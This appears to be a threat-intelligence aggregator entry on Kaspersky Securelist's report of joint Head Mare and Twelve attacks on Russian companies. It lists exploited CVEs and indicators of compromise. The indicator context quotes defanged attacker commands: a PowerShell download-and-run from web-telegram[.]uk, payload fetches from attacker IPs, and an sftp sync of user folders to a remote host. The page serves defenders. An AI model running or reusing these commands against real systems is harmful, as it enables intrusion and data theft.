Ransomwarehigh
Head Mare and Twelve: Joint attacks on Russian entities
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2021-26855 | Unauthenticated SSRF/RCE in Microsoft Exchange Server (ProxyLogon) | 9.1 | 100% | KEVRansomwarePoC ×4 | KEV |
| CVE-2023-38831 | Code Execution in RARLAB WinRAR via Crafted ZIP File/Folder Name Confusion | 7.8 | 100% | KEVRansomwarePoC ×4 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | 360nvidia.com | es the payload, which initiates a request to a C2 server at 360nvidia[.]com. The image below shows a graph obtained from analysis in |
| domain | localtonet.com | ownloading both tools from the official Localtonet website (localtonet[.]com). 1 2 hxxp : //localtonet[.]com/nssm-2.24.zip hxxp : //lo |
| domain | web-telegram.uk | ( New - Object Net . WebClient ) . DownloadString ( 'http://web-telegram[.]uk/vivo.txt' ) ) > $ temp \ v8_B5B0_11 . txt This command do |
| ipv4 | 185.158.248.107 | : 1 2 http [ : ] //45.87.246[.]34:443/calc.exe http [ : ] //185.158.248[.]107:443/calc.exe The file was saved in the local directory as |
| ipv4 | 45.156.21.148 | e attackers downloaded cloudflared and Gost from the server 45[.]156[.]21[.]148, which we previously saw in Head Mare attacks. An exa |
| ipv4 | 45.87.246.34 | s’ infrastructure from the following URLs: 1 2 http [ : ] //45.87.246[.]34:443/calc.exe http [ : ] //185.158.248[.]107:443/calc.exe |
| ipv4 | 64.7.198.109 | conf" -- sftp - socks - proxy < username > : < password > @ 64.7.198.109 : 80 sync "\\%%A\C$\Users" sftpP : / data / < path > - q -- |
From the original article
14 min read at securelist.com
In September 2024, a series of attacks targeted Russian companies, revealing indicators of compromise and tactics associated with two hacktivist groups: Head Mare and Twelve . Our investigation showed that Head Mare relied heavily on tools previously associated with Twelve. Additionally, Head Mare attacks utilized command-and-control (C2) servers exclusively linked to Twelve prior to these incidents.
By @Securelist · securelist.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.